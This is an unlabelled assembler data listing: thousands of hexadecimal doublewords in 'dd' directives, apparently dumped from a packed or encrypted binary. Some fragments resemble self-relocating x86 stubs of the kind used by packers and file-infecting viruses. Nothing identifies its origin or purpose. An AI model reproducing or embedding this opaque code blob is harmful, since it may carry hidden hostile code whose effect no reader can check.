		dd 106FAB8Dh, 0AAE97650h, 243A91B7h, 3CBA16E5h,	0CD94EBC0h
		dd 7722AD8Bh, 8FE74A07h, 8E1D8CF8h, 80C36DDDh, 0B093DBA4h
		dd 252058D3h, 0D4B35E89h, 0CD6DBE80h, 1989B4DCh, 42DC8ADCh
		dd 3097BC30h, 2128FB4Ah, 565h, 68A4A0BDh, 0B874480Fh, 0CBC7F95Fh
		dd 1793B5ACh, 0A05C66F8h, 61F96255h, 1644A35Fh,	0C297F02Ch
		dd 63E502FEh, 7C934945h, 0DB3BDE50h, 9DB5B392h,	8140271h
		dd 8968C35Eh, 5B52EECEh, 0C12A0C44h, 75E2E47Ah,	2AB85806h
		dd 0A833FF2h, 0E2DCCB54h, 1460A0FAh, 77546AEEh,	435E4FEBh
		dd 8CEB2701h
		dd 0C41BF0CAh, 0F043A892h, 2F33774Bh, 6C069915h, 107D9789h
		dd 21Ch, 0D3206FB2h, 72520984h,	75088199h, 0ED5C4BD6h
		dd 2242A3F4h, 2931DCBh,	78E694EBh, 3071FB1h, 829939Ah
		dd 0A06C0634h, 0ED107EA8h, 0B2000001h, 84D3206Fh, 0EBC0F678h
		dd 34978B94h, 0CC7E8A19h, 8194EBC0h, 0A4601099h, 8E939AC1h
		dd 0B679377h, 0B37EA7DFh, 1C4h,	0D3206F1Fh, 0C0F27884h
		dd 938F94EBh, 0F1124944h, 0D13A5676h, 1FCD4049h, 939AC107h
		dd 12F9CF92h, 56B58FCFh, 2EC185BCh, 4B774BEAh, 7EA7DF1Fh
		dd 18FC7h, 550D8800h, 7869873h,	0D3206F83h, 0C0FE7884h
		dd 8F9394EBh, 0C174903Ch, 5905939Ah, 1B419C6Fh,	0D8E8F2F6h
		dd 912DB350h, 8E72EB3Ah, 9D28C7DBh, 0FA2FFD8Fh,	1F8E9095h
		dd 7AF422E6h, 227EA8CCh, 14Ch, 0CA6C7827h, 1DCE745Ah, 0C781EEECh
		dd 0BDB70AE1h, 9EEE1F9Bh, 67FA0651h, 3E8AC6DEh,	644761E3h
		dd 7F6DBEDAh, 6D3F3ED1h, 78A69A9Bh, 776BDBEEh, 3696h, 2CBB00h
		dd 6D3F366Eh, 88E7FE3h,	85D21F6Fh, 82C69BF6h, 0EA6C850Bh
		dd 7FE38AC6h, 9BADB5D0h, 2CFF2E30h, 3F2912A0h, 0E5D9586Dh
		dd 6BC2ADB9h, 0A35177h,	817D0000h, 0B70AE1C7h, 0EF3299A3h
		dd 25785375h, 1F890523h, 94EBDB22h, 1591B7B1h, 0C0D58F0Ah
		dd 143B3AB4h, 0B7D34F6Bh, 694F0954h, 0A960FC82h, 0BC2B48B8h
		dd 3AE058F1h, 0FFE2C5Fh, 44167500h, 15058B02h, 387526DAh
		dd 85DAB926h, 0C8C74A43h, 1770AC96h, 106BAA43h,	0D8FE37F9h
		dd 0B2C836BCh, 20F34A2Dh, 34C29h, 0BD87D400h, 0D332641h
		dd 0DCE27691h, 0A88CC720h, 754F136Ch, 108D4CB9h, 5FB8744Eh
		dd 0AEC9C5FFh, 0FC1B97A9h, 0F4A66244h, 3DA74957h, 5EDA92DBh
		dd 24D9817Ah, 32EE0A2Ch, 79B593D5h, 0E1C78165h,	9BBDB70Ah
		dd 0C0E0711Fh, 8DFD94EBh, 0C298F760h, 7B060980h, 8B02241Ch
		dd 0C6F3A805h, 83C4B38Ah, 114041D1h, 0C555D8D1h, 4FE10F9Ah
		dd 26D3F75h, 756F012Fh,	7CE26D3Fh, 617529E0h, 5832C781h
		dd 3D9F321Ch, 0C219F20Eh, 0E168A482h, 40C18F91h, 0FCC89E81h
		dd 0BFB807BAh, 9E3A5615h, 91244231h, 0A26C5BEEh, 41D8E46Bh
		dd 5C8AC659h, 55E3E9C2h, 1F6D3E45h, 7AF422E6h, 58776C62h
		dd 0C9223A3Dh, 48A378B1h, 0A4000000h, 62496FE9h, 6FA92DDCh
		dd 0A2A2E11Fh, 4D1B2784h, 94EBC0A3h, 0A32C48D6h, 0C6EA9C95h
		dd 0E4F09F8Ah, 6D3F294Ah, 0BEA233Fh, 8A18B417h,	0C06D3F29h
		dd 45214D31h, 83776BC3h, 2546E8F4h, 273B6D3Fh, 0D811E6h
		dd 81BD0000h, 0B70AE1C7h, 0C3055AA3h, 7FF944A7h, 352F7259h
		dd 28099713h, 0BB94EBDBh, 55309FB9h, 5C66F80Dh,	0A15C9C0h
		dd 18F3D58Fh, 0F8788706h, 435E0DDEh, 0BEC02B1Dh, 16EDE4Fh
		dd 77B7CAD6h, 50CE7539h, 865D554h, 0A781C0DFh, 6822C38h
		dd 6BF76D3Fh, 8500AFA2h, 7806E5C3h, 0C6151FB1h,	2638730Dh
		dd 4284DAB9h, 0F312946h, 597283E5h, 0C08B5850h,	1C9h, 0C4C00459h
		dd 1490B4ABh, 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h
		dd 7AE03FFBh, 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0DB3E22CCh
		dd 0F9D15792h, 78E7D981h, 0C02DDFEDh, 15AC94EBh, 0AE0F2BC0h
		dd 0FA332F8Ch, 9C69EB04h, 4B97DFD9h, 0CB14B0C0h, 0D8D41ADCh
		dd 9BA91303h, 94EB2D11h, 0AF5EFA64h, 1F6FEFF3h,	9BF685D2h
		dd 860A83C5h, 8AC6EA63h, 21AF7CE2h, 6D3F2993h, 366458D9h
		dd 776BC33Ch, 0A1E0h, 0C781E200h, 0A3B70AE1h, 0A39E3299h
		dd 2E94EBDBh, 7B941036h, 5F0CDFF9h, 265582EFh, 9A58EF12h
		dd 878A03A1h, 39516079h, 7FE03F75h, 0E3BE2945h,	1A614A7Eh
		dd 26E70345h, 62A0EF78h, 62C6F826h, 3D8DBE6Fh, 8C99A730h
		dd 0E3730D16h, 0ADB5D07Fh, 17514C9Bh, 0ED0AF831h, 0FBCD9075h
		dd 22BDD55Fh, 6DBE505Ah, 0DCFAh, 2D174400h, 0FDC396F1h
		dd 4C72E601h, 183C3750h, 0E5DF839Ch, 801DDC29h,	0CF28E4DEh
		dd 1E79B58Fh, 6C8B0739h, 4D6D2F4h, 3F57D9E7h, 2E2A92DBh
		dd 0E7D9810Ah, 0B294CC2Bh, 0C7816276h, 0BDB70AE1h, 65F01F9Bh
		dd 5F092F26h, 94EBC0ADh, 0DE4FBEA0h, 4BD6016Eh,	4E34E5Ch
		dd 0E4258998h, 0DCB6CDECh, 4D9E808Ah, 545076EEh, 0B01F393Bh
		dd 2EB98FD5h, 24476802h, 8C7D1D6Dh, 0B04FD3F9h,	0A0BA33B5h
		dd 7EF645A6h, 3B207358h, 0F871A047h, 90B6AE04h,	2E084847h
		dd 964CBDDDh, 0F2D9FF79h, 3B90B4AFh, 8CC7C249h,	4F861A8h
		dd 1490B6AEh, 0F4BB9C0Bh, 2D6D14F9h, 85A3A5FCh,	0E96C2B26h
		dd 0F27C88D7h, 8720ABC0h, 12FB129Bh, 54000000h,	0C031BBC9h
		dd 85D820ABh, 0E5D66843h, 5E16B475h, 0E8DC817Ah, 0A284BC03h
		dd 5B6DF249h, 17312D70h, 0CFF169B4h, 87B9A1FCh,	0BE9ED924h
		dd 744A0E6Dh, 33154897h, 895108D8h, 4C181E1h, 83000000h
		dd 0C8704E9h, 24248B24h, 45F768h, 24148900h, 2A7068h, 243C8900h
		dd 4AD5BE56h, 1EBA570Ch, 1AF24A9h, 24348BF2h, 4C481h, 8B540000h
		dd 0C483243Ch, 47186804h, 14890000h, 8478F24h, 52243C8Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h,	0C4835A24h
		dd 7E86E904h, 0D483FFFAh, 3100C6B8h, 0FFC50306h, 33021FE0h
		dd 59744252h, 1041FE57h, 0D9196A36h, 0AF506764h, 0F5AAA437h
		dd 0D7258049h, 0BAE912h, 0BE3F0000h, 945191h, 50000h, 10000h
		dd 0A280000h, 20000h, 29h dup(0)
		dd 0BCCE9h, 3B86800h, 91E90631h, 68FFFA7Dh, 6310494h, 0FA7D87E9h
		dd 59B68FFh, 7DE90631h,	68FFFA7Dh, 6310600h, 0FA7D73E9h
		dd 75568FFh, 69E90631h,	68FFFA7Dh, 63107C7h, 0FA7D5FE9h
		dd 0B7F68FFh, 55E90631h, 68FFFA7Dh, 6310C8Fh, 0FA7D4BE9h
		dd 556FECFFh, 251B3E59h, 0F4CA8EE9h, 4064DF38h,	0D372B44h
		dd 28B56491h, 77900C36h, 0C621DDE7h, 1473AF91h,	0DCBE7A5Ch
		dd 0C28F214Fh, 46C292DAh, 0E1C78162h, 53DDEB76h, 2694EBC0h
		dd 0DF22F138h, 27DE8065h, 1CEF0B2Dh, 232AE602h,	52319ED3h
		dd 48D63513h, 1FA2CE41h, 768AC6DEh, 3FCD03E8h, 756D3F3Eh
		dd 0A0CAF8CCh, 44776BDBh, 42h, 111F6F86h, 70DF7B4Dh, 0C6EA4D64h
		dd 0A7216C8Ah, 0E894AB29h, 55C5A861h, 0F5CF8F0Ah, 0BFEA6134h
		dd 67E8E7h, 0A6B21D2Ch,	6D3FA104h, 0A828E179h, 6D3FA11Ah
		dd 0B1DDA150h, 776B3AB5h, 0D769h, 0C7817500h, 0A3B70AE1h
		dd 75EF3299h, 6B790453h, 94EBC0C1h, 9063AAB4h, 0F12D0B4Dh
		dd 23CDDB66h, 5694EBC0h, 0A4CFC1C8h, 5794EBDCh,	0A0FF3B1Dh
		dd 262586A0h, 0F8D3F56Bh, 46B6A766h, 8792BE29h,	0EE75391Eh
		dd 0ECABB470h, 0A455546Eh, 0A4B01F54h, 730DDE99h, 6B5D0580h
		dd 0F05FC3A2h, 0DFD55765h, 2634674Ch, 4A43DF1Ch, 0AC96C8C7h
		dd 0BF26423h, 839F6C48h, 70520867h, 5806879Bh, 5EC8C0CFh
		dd 0B2741086h, 4CEC04A6h, 45E17967h, 23253D44h,	595AAD91h
		dd 72D50650h, 99Ch, 0E4202439h,	34F0D48Bh, 474385DBh, 930F2928h
		dd 0DCD8E274h, 0ED75EED1h, 9AC0DFDBh, 4E136CA8h, 0E761BE7Ah
		dd 0F817C5C1h, 0DAC342ECh, 19313792h, 2BE7D981h, 0E87194CCh
		dd 587CB8D4h, 85D21F6Fh, 0C6EA7277h, 0BE0D0D8Ah, 3F2A8412h
		dd 5337CE6Dh, 6BC44B27h, 0D6F377h, 39540000h, 4A7CE025h
		dd 81DBFF2Eh, 0B70AE1C7h, 1F3299A3h, 0C0CA6470h, 0A3BF94EBh
		dd 0DC5D666Ah, 0B4AC94EBh, 7A091692h, 143CDC6Eh, 0F56AB16Bh
		dd 2B76B7D3h, 91BC0F29h, 3C74F602h, 11096B14h, 0DA176798h
		dd 574D1E8Dh, 99730407h, 69A086BEh, 0AFCFDAE6h,	0B8A67539h
		dd 0B37DCD7Ch, 2B3794B0h, 0D6B5408Fh, 0D1694284h, 2AD6B8D8h
		dd 77EB730Dh, 93B5ADE8h, 5C66F817h, 5A14FAD6h, 0BB924150h
		dd 8C0h, 807C4815h, 0D0CCF067h,	639FA1B7h, 0AF6B4D04h
		dd 0F8340E50h, 951CA8Dh, 0BE9CFB37h, 6AEF0884h,	3B3D5A56h
		dd 143BE11Dh, 0DAC46608h, 451D1B92h, 2BE7D981h,	0CAFA613Ch
		dd 0FCDA9AE1h, 1E56A960h, 2453FC38h, 0D0BDB6B7h, 0D2FE6930h
		dd 94EB0858h, 0DEFC2D2Dh, 0AE1C781h, 4C9BBDB7h,	21796941h
		dd 4217D04Bh, 772BE27Eh, 0FE6986F6h, 0DC3AA6D2h, 453CF8Ah
		dd 2DE9CF89h, 0C9F36722h, 23AD5CE2h, 6D242339h,	64A0CF3Eh
		dd 87B99CFBh, 0BFCD1A24h, 6D24230Dh, 1F2FDE40h,	5499E962h
		dd 38217C0Bh, 23D05A04h, 0B5A56D24h, 4DBC9ADAh,	6E1FB6C2h
		dd 28367309h, 0C7D560EFh, 674F7025h, 0F069C658h, 66B3DDCCh
		dd 0FBCB0078h, 0EBF9668Bh, 0D51D5C3Ah, 4DFECD4Dh, 5967F0FDh
		dd 0D36AC0BEh, 87024DCDh, 160B3FD0h, 0C69A4D43h, 0B1EC63AAh
		dd 380E52B7h, 0A7C3E55Fh, 0B1540C6Bh, 0CB7995ABh, 0F07E34E7h
		dd 0B980CB18h, 1A000007h, 6C8B0741h, 0BCDBD7E9h, 0D6AA698h
		dd 59B6724Ah, 0B6C33F01h, 3E0056C3h, 8FB9A5C2h,	5963F413h
		dd 2402425Dh, 0F1D32E8h, 92DAC57Dh, 6F3C1410h, 0F685D21Fh
		dd 881C39Bh, 0DCDF1888h, 0BA25358Ah, 484478DFh,	81D7282Fh
		dd 85D26CBFh, 253FF577h, 7A96886Dh, 2C0A4A91h, 3187BE86h
		dd 470EDD4Ah, 754h, 2CE8DC81h, 7CB88CD3h, 8F0B3D23h, 0DBD7F170h
		dd 64A09ABCh, 0A5BD2619h, 520867A3h, 65BB470h, 0AFA9C6C2h
		dd 0A04F0D89h, 0DAC61A94h, 0D1E96F92h, 4B111F6Fh, 137A51A6h
		dd 94301EE3h, 4F9CB8BBh, 3C489733h, 8ADC094Ch, 26203A61h
		dd 63E5D8Ah, 1665E420h,	152CDEEAh, 3F4D6D24h, 6D24158Dh
		dd 3E9D5EC0h, 0B7CB2006h, 4450FF1Bh, 6D2415A6h,	7854B7ABh
		dd 6D2415E9h, 8AE92A3h,	0B6C2D78Dh, 6D241534h, 56B5D149h
		dd 0ACC6C1C8h, 507766B2h, 61h, 0D9027172h, 40F293B6h, 33A955C8h
		dd 14B03E23h, 0DE156495h, 794F1271h, 0FD7381B0h, 9094EBB5h
		dd 1AF3D8Eh, 0F094EBB5h, 2B76556Fh, 0D3BB1034h,	1F83665Ah
		dd 0AF8685F0h, 4EA2D7C4h, 0B4E2A65Fh, 7D9737BAh, 1862h
		dd 2756C00h, 0E6000002h, 0F93791BBh, 2AB56D8Ch,	0EBC06C1Eh
		dd 0B079E194h, 56B54E0Ah, 325E89E6h, 8AC68D93h,	7D6BA4BAh
		dd 0DD92BC05h, 1E56DA2Ah, 25339C38h, 0C0ECFAF0h, 0C1DC0B17h
		dd 9164A59Bh, 0B01F54A4h, 255F63A4h, 0BDCB66C9h, 0A93BBF33h
		dd 53DDEB46h, 26A93BBFh, 0D7009C38h, 0BFB23C48h, 5BC7A93Bh
		dd 60E0BF52h, 2B2D4A46h, 7E7E70Dh, 0E3300630h, 5FF68h
		dd 0BD87D400h, 0D332641h, 0DCE27691h, 0A88CC720h, 754F136Ch
		dd 108D4CB9h, 5FB8744Eh, 0AEC9C5FFh, 0FC1B97A9h, 0F4A66244h
		dd 0C7A74957h, 5EDA92DAh, 32C7817Ah, 47A055E2h,	0D881DEA4h
		dd 0F26348E4h, 0D6E26D82h, 8AC62B07h, 233867F2h, 1C796958h
		dd 145AD482h, 332F6D3Eh, 141698A4h, 0F76B6D3Eh,	2FEB7736h
		dd 0CB690D0h, 4A2AB24Ch, 8DB99043h, 46000005h, 98F73315h
		dd 0E80783C5h, 39565274h, 85E21E3Eh, 0C22FEBDDh, 0EADC821Fh
		dd 0BB8DD12Eh, 53F207Fh, 0D0F66E89h, 0DBE906D4h, 92DAC751h
		dd 81082024h, 0B76E1C7h, 39FDFBA5h, 40D3DA82h, 3F237E0Dh
		dd 0F3D15B05h, 0BAA494EBh, 12342C73h, 11F56EB9h, 1FDDB9Dh
		dd 9710D49Eh, 5B887Dh, 714A0000h, 0C054D6E2h, 312994EBh
		dd 39F747F8h, 2452222h,	1DB9C12Ah, 0F3C7A6B2h, 133E8AC6h
		dd 13F67884h, 978B6D3Fh, 3F1327C9h, 0A8C45A6Dh,	13FF8D43h
		dd 8CB56D3Fh, 0D78702B8h, 1338B2DEh, 0CD4D6D3Fh, 155178B1h
		dd 0B3776BADh, 0FD8C37C4h, 6FF50705h, 3FCC3D59h, 65h, 0D21F6F9Bh
		dd 924A7785h, 0FA898AC6h, 3F715CEEh, 0E029316Dh, 0D7B21D3Dh
		dd 5640BC80h, 6D3F71CBh, 8728DBC6h, 0E5C7C706h,	6DDA9A69h
		dd 8C7DA194h, 8AD5F375h, 835FD1FFh, 2C326D3Fh, 73E601FDh
		dd 0D087024Dh, 0D4031FECh, 3F8326C8h, 0C6C75B6Dh, 586D1837h
		dd 0CBFD62B7h, 67115EE0h, 0DA71B862h, 470h, 0D21F6FBCh
		dd 0BA4F0685h, 0C85B01F1h, 9019B5F8h, 486E5361h, 3E6D8AC6h
		dd 0E5AD0CCFh, 0D45756C6h, 0D97E1D4Ah, 0B37A04E7h, 0D43E6DE0h
		dd 29C7AEE9h, 8485756h,	29C8DD2Eh, 0ABDFD17Ah, 0E7A790B4h
		dd 0AC555464h, 0A7CC3CD8h, 5C352C38h, 0D6487313h, 9DBBBDDAh
		dd 83AD1D4Eh, 7A04E7C1h, 5E6371DEh, 31796C17h, 947ED6FAh
		dd 0CE9538AFh, 0F10D2DFEh, 9F867655h, 6B4D07ABh, 0F24EBEAFh
		dd 4BD9A11Bh, 4F98347Ah, 0B9594021h, 24B4E367h,	584A6AE4h
		dd 3F23C2CBh, 0F1D791ECh, 13352B66h, 9467A6B8h,	0F78D71E4h
		dd 0EFFD6A87h, 6D92D792h, 46A15DFDh, 75D9FB0Eh,	4792B691h
		dd 311BC2Bh, 75C2AE69h,	3F25021Ch, 5E0D8009h, 0C2291B43h
		dd 2C324DBCh, 35DCB11Ah, 0EE3D0356h, 17F4D093h,	53EEF0Bh
		dd 0CDEB6D41h, 8BE858D1h, 0E529305Ch, 0DA446BEFh, 0A2570E8Dh
		dd 7651DB13h, 0EB073Dh,	0B78D3F4Dh, 5EC04E15h, 0CFF965C2h
		dd 0D8AB62FCh, 6E5C385h, 671BEF16h, 0BC78D638h,	45DBA49Eh
		dd 4EFF2E97h, 5A66F1FEh, 5038E847h, 1FF8A732h, 5B6FE581h
		dd 4A7C0ED8h
		dd 9114038h, 0D27D1D80h, 129BBDB7h, 371153ACh, 550A79D4h
		dd 4FC32F09h, 0E65EA168h, 0F545C4C0h, 0B8416FF8h, 0D75E15DDh
		dd 0BEED604Bh, 0B2DE1E24h, 5A432238h, 1E62CD4Dh, 923EEF26h
		dd 5A439E04h, 765573F5h, 5BC7EB3Bh, 3611A864h, 7EC92224h
		dd 0AA6E01C5h, 9403B78Bh, 5F8F28C1h, 0BADDCC9Dh, 4C3F32B0h
		dd 5604832Eh, 9DC8626Ch, 9DBD5A43h, 9D842632h, 61F95A43h
		dd 56D3A8h, 6FFF0000h, 0F685D21Fh, 0EBC040EAh, 6FE63594h
		dd 40DC6249h, 0AC3BC649h, 705B6DF1h, 0C04EE0EEh, 1F0394EBh
		dd 0EACFE2EEh, 4B868AC6h, 2CDAAC0Ch, 3EA9C543h,	0C2CBFD63h
		dd 0B10F9D33h, 59FE6D3Fh, 20398467h, 58DDCF1Ch,	0E8098D64h
		dd 4A8CE614h, 0E030776Bh, 92000000h, 0AE1C781h,	0A14AA3B7h
		dd 319F6BBEh, 0CC9D76AFh, 45E16D5Ch, 60E3BE29h,	42186744h
		dd 7B97AB00h, 0A49CE3B2h, 92D22982h, 456E78B4h,	0B494EB74h
		dd 11E9ABCh, 0D98A6147h, 87293769h, 0FA94EB64h,	719FC864h
		dd 8AC62868h, 6E9F1B07h, 0FB86D11Eh, 0B0AE406Ch, 7CA36D3Eh
		dd 4544E0DAh, 0C70D94Bh, 0ABB1EC73h, 8C283695h,	1B29B443h
		dd 674C7091h, 0CDFF978h, 18918972h, 0B36F5109h,	0FD0B0254h
		dd 674C7073h, 76FC1806h, 5058D68Ch, 0D5D57CAFh,	0FE000001h
		dd 50AF6B5Dh, 0A0FF3B0Dh, 0F10E8ABCh, 3D5A5676h, 9AE72325h
		dd 22243AA7h, 0F3D589E6h, 0BD87D837h, 82E2641h,	1321CE8Ch
		dd 92DACB99h, 815068ECh, 3C2BE7D9h, 0C0E98391h,	829C94EBh
		dd 5A7CF40Bh, 0E6C2B15Eh, 871FA4A9h, 6FA327E6h,	7785D21Fh
		dd 8AC6EA72h, 4222261h,	93129BA7h, 0AA10145Ch, 3C0BE88Ah
		dd 1CFBA865h, 4E9D399Dh, 3F90F482h, 0C387BE6Dh,	6B29DB97h
		dd 0DC8377h, 714F0000h,	0EF6EA502h, 0DCCD2960h,	46A583C5h
		dd 0F25D67FBh, 10D75967h, 0B4AA94EBh, 192AA675h, 0F094EB0Ch
		dd 3D5A5670h, 9DCE1D3Bh, 695B032Dh, 0BDA3FC82h,	0B5E06F8Bh
		dd 28EAB290h, 0BA8CD232h, 7CADC951h, 0DA5B46D5h, 4FB19065h
		dd 1E23AD5Ch, 718AC605h, 21237EE9h, 139AA407h, 214EBEAFh
		dd 519BAAB6h, 0F39E730Ch, 4C584BE5h, 0E9203E67h, 0B89CD70Ah
		dd 24B3CF53h, 0A366FA99h, 0BC6D89BBh, 0CFCBFD65h, 6E94AEB0h
		dd 5058EE7Eh, 0C5B79E4Dh, 0E000000h, 60BF7B4Dh,	0B0CFCBFDh
		dd 11E9AACh, 4DAA6646h,	8AF73315h, 32144AD7h, 83C599F6h
		dd 4D77E807h, 183E3651h, 3113E9Ch, 92DACC69h, 8140181Ch
		dd 382D24D9h, 0EBC0822Ch, 0CF6BF794h, 0ADE877B3h, 263893B5h
		dd 0FED898E7h, 0C7819E02h, 0BDB70AE1h, 17514C9Bh, 3D035631h
		dd 0A71716CCh, 18F3D589h, 6F7DEA06h, 8ADCDF27h,	0A4FBD04Eh
		dd 2C1049ACh, 3F1B95A3h, 0F06E6D25h, 0D0CF5854h, 2D74B58Fh
		dd 12BE0D2Bh, 5828F9Fh,	4B5F23DCh, 506AEC09h, 0A59FF834h
		dd 92D52883h, 47E3E579h, 0BD81B464h, 0CC7E8A19h, 8136C58Fh
		dd 57111099h, 1A5AB571h, 0D64EF3Ch, 52000000h, 54D6E271h
		dd 2994EBC0h, 5276F831h, 3E8DC81h, 49A284BCh, 705B6DF2h
		dd 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h, 97744A0Eh
		dd 0D8331548h, 5D545508h, 4C581h, 0ED830000h, 242C8704h
		dd 7A09685Ch, 2C890000h, 3C1C6824h, 34890000h, 26D6824h
		dd 2C8B0631h, 4C48324h,	4EC81h,	24890000h, 24048324h, 53555E04h
		dd 0C06B75BBh, 245C0127h, 468F5B04h, 86E8108h, 27C06B75h
		dd 5E2434FFh, 4C481h, 34FF0000h, 0C4835D24h, 71DAE904h
		dd 0F4DFFFFAh, 0DF8C1DB9h, 387D76C8h, 0D79B8ACh, 0C5030631h
		dd 9CD1E0FFh, 838F51C8h, 0A2241B02h, 0DCF945A8h, 82065D75h
		dd 4CC72F7Eh, 83AD002Eh, 0D2F21636h, 7FB07801h,	31781026h
		dd 0E1406BEBh, 0CB321FD6h, 8F403Ah, 0F97F1B52h,	5E084A7Bh
		dd 0FDAC4B30h, 0B10C128Ah, 24EB6412h, 9	dup(0)
		dd 0BDE9h, 38B58900h, 8B06310Eh, 2B0A0185h, 3D858B06h
		dd 8D062B18h, 310E82B5h, 35858D06h, 0FF062E5Ah,	0E855C3D0h
		dd 0
		dd 88ED815Dh, 8306310Eh, 2B0A01BDh, 850F0106h, 2Ch, 0E38B5FFh
		dd 858B0631h, 62B183Dh,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 6310E3Ch
		dd 38B5FF56h, 8B06310Eh, 2B183D85h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 310E3CB5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 0A01BD83h, 0F01062Bh, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 6310E61h, 34CD8589h, 2DE9062Bh
		dd 8E000000h, 2A1113h, 0Ah dup(0)
		dd 594E9h, 497BE000h, 192F324Dh, 0E8DE829Dh, 0B490D32Ch
		dd 13B1F78h, 1CB97885h,	6B84003Ah, 0BAD5D1F3h, 867A3A5h
		dd 0E8B26E48h, 0CFBB3543h, 4ACE92DAh, 22C78176h, 1EED093Fh
		dd 3A769FC3h, 1490F0AAh, 0CBB621BDh, 9521AB89h,	0A89CC520h
		dd 0C6219D0Ch, 0FC43A88Eh, 96F56244h, 75402BDEh, 89F5F80Eh
		dd 9809E6Dh, 0C30277Ah,	695DD6BFh, 0BA250345h, 465878CFh
		dd 0EA5E290Fh, 0C4BA73BFh, 1692B6ABh, 0A49F60F9h, 0FB172B80h
		dd 1137316Ch, 9665A4BAh, 72F2134Bh, 4FEB7754h, 0B5898C7Ch
		dd 0C4667201h, 0B994EBF5h, 401968A1h, 0ED67807Ch, 5DECE0CBh
		dd 0AC94EBF5h, 0E53893B5h, 17664563h, 62975A2Eh, 0A5C1EDD1h
		dd 597D970Eh, 59h, 0E1C78185h, 0C03AC60Ah, 0A41D94EBh
		dd 0D9B8B2E0h, 16C7D96h, 6E000000h, 0A239DA81h,	4F57E8B4h
		dd 8DB8846Dh, 3B4A8AA2h, 6AF14C9Fh, 0CB8E0D5Ah,	1A6134F5h
		dd 0E5AE7D5Bh, 0C7C2784Ch, 1F62AB8Dh, 9F880438h, 0A4655F00h
		dd 923D1B5Dh, 105F61F7h, 0C4C1A10Bh, 0E65C4DFFh, 0E7D981F2h
		dd 2DDFED78h, 2094EBC0h, 0E13CCF3Eh, 7E1D4A7Ah,	5124E5DBh
		dd 9F6C4A0Ah, 0C6251F40h, 0FF7256EFh, 0DFD3B7ACh, 2A45417Bh
		dd 60BF0C2Ah, 9AE1CAFCh, 0D32EFDDBh, 0A252B98Bh, 0FC20C7BBh
		dd 29558145h, 0DD7D96E0h, 70h, 0A7E271F9h, 1C2289B3h, 0EBC0B832h
		dd 0D68ECD94h, 0EB071BF0h, 417BDF22h, 7F41176Ah, 7A4EE7ACh
		dd 3AC0D9C4h, 0EB9F5A82h, 417BDF22h, 0A3A66B16h, 5CCFF1BCh
		dd 0C096F1ADh, 0CA21273Dh, 6CB318B4h, 1EF8D3F5h, 8BF723E7h
		dd 337D9764h, 59h, 24D9819Fh, 6519DC31h, 80421BD7h, 9CE3C864h
		dd 432A81BBh, 0CE9016EAh, 702F38F4h, 0B6D4D5EFh, 784E1271h
		dd 31E8F93h, 0A81CBB5Ch, 8B5E8A6Ah, 0A2A5E06Fh,	3E851459h
		dd 0BAD6F447h, 2F6D1F2Dh, 7EE094EBh, 41D0FC8Fh,	6A94EB2Eh
		dd 9DC9F5C9h, 417D97C7h, 1, 0D6E2718Dh,	94EBC054h, 0A9F83129h
		dd 0E33E8DB3h, 0B4644761h, 73E9BD81h, 0C0D8527Eh, 12194EBh
		dd 5501597Ah, 0FE0A219Ah, 94EBAC4Ch, 61FD1901h,	0CC54A4A5h
		dd 1F53957Dh, 0E7708CD7h, 0C6F7BCD9h, 7C4FD38Ah, 85012721h
		dd 655FFF9Ah, 0EE31F886h, 78075076h, 3EE6C26Ch,	23CDDB6Dh
		dd 566D3EE6h, 0BE6FF3C8h, 0E651E1EFh, 29346D3Eh, 0EAFE107Ah
		dd 0E1795274h, 8A2B7396h, 80261A03h, 0CD2AE6C0h, 35EAD8Bh
		dd 9DF86741h, 780B82DAh, 0ED672229h, 6559C2CBh,	0B6210741h
		dd 6CBF99DBh, 0F867DBD2h, 687C19Dh, 6BF2E783h, 0D0B6E577h
		dd 0A4465206h, 0D96D3E72h, 1ED7F641h, 56B24746h, 1C000001h
		dd 79470271h, 266AB505h, 0E90676E7h, 5C5F527Eh,	0FB368AC6h
		dd 0FCED5C15h, 12F915C0h, 46095CFh, 0EE65C26Ah,	7B8F032Fh
		dd 9430DA03h, 0E163BC78h, 0B59E9F14h, 3E8705A7h, 99E6786Dh
		dd 0F30F84EEh, 0A583C518h, 7A4EF746h, 0CD1A3C34h, 77B688CEh
		dd 895A148Bh, 8702776Ch, 47000000h, 0EECD6058h,	25BF19C5h
		dd 2B81EEEFh, 5175B4DCh, 84D3206Fh, 0EBC09678h,	89C8C714h
		dd 0CBC25CAFh, 50CEE528h, 0D46D49ACh, 0F37D53B8h, 1A14EB95h
		dd 56A50640h, 8FD2391Fh, 0F36F4C8h, 0D56CB43Bh,	0CF5E4DF1h
		dd 6AC26D2Fh, 7A96B0B0h, 0AB00441Dh, 96E51697h,	28E20E59h
		dd 5D94EB96h, 6E4E54EEh, 5A66DFCCh, 94EBD5D0h, 0FD19B5A5h
		dd 1D273752h, 822D36ECh, 9E000000h, 87644003h, 0B939B328h
		dd 0BFDBD142h, 1F6F484Eh, 3A7785D2h, 558AC6DBh,	0D99BE6C5h
		dd 6CE403FFh, 0DC6B614Ah, 0BB6D3F24h, 68E8BE82h, 0C6C5524Eh
		dd 0F061A88Eh, 59E47380h, 3F3AA14Bh, 434AD46Dh,	2B23A0CCh
		dd 47427308h, 5173EB0Ch, 4148E47Ah, 7413BCA2h, 69F1DAFCh
		dd 0D68EEDA0h, 0FC182C33h, 4F87D2Fh, 5483F040h,	0CE1D2339h
		dd 0CAD679B0h, 797F3A0Dh, 75E21E00h, 0E190CB06h, 0BB72D2A9h
		dd 0D21F6F1Fh, 0D1D87785h, 7C1B8ADCh, 7B07E4DEh, 9C6FF3B2h
		dd 941622B1h, 0E96D2531h, 0EF69B871h, 0A60E9C1Ah, 2FB87FD9h
		dd 25B86F01h, 0E07CE26Dh, 0AF89CB24h, 0B182F15Ch, 85E3CBC7h
		dd 0C9375950h, 0CE5905A6h, 1B5D5135h, 0AEA6C13Dh, 65DC2388h
		dd 0A891443h, 0C6687650h, 0BB5945B8h, 0E59766A7h, 23CDDB66h
		dd 565945B8h, 6458C1C8h, 234AF3BEh, 85F11800h, 9E7BFD04h
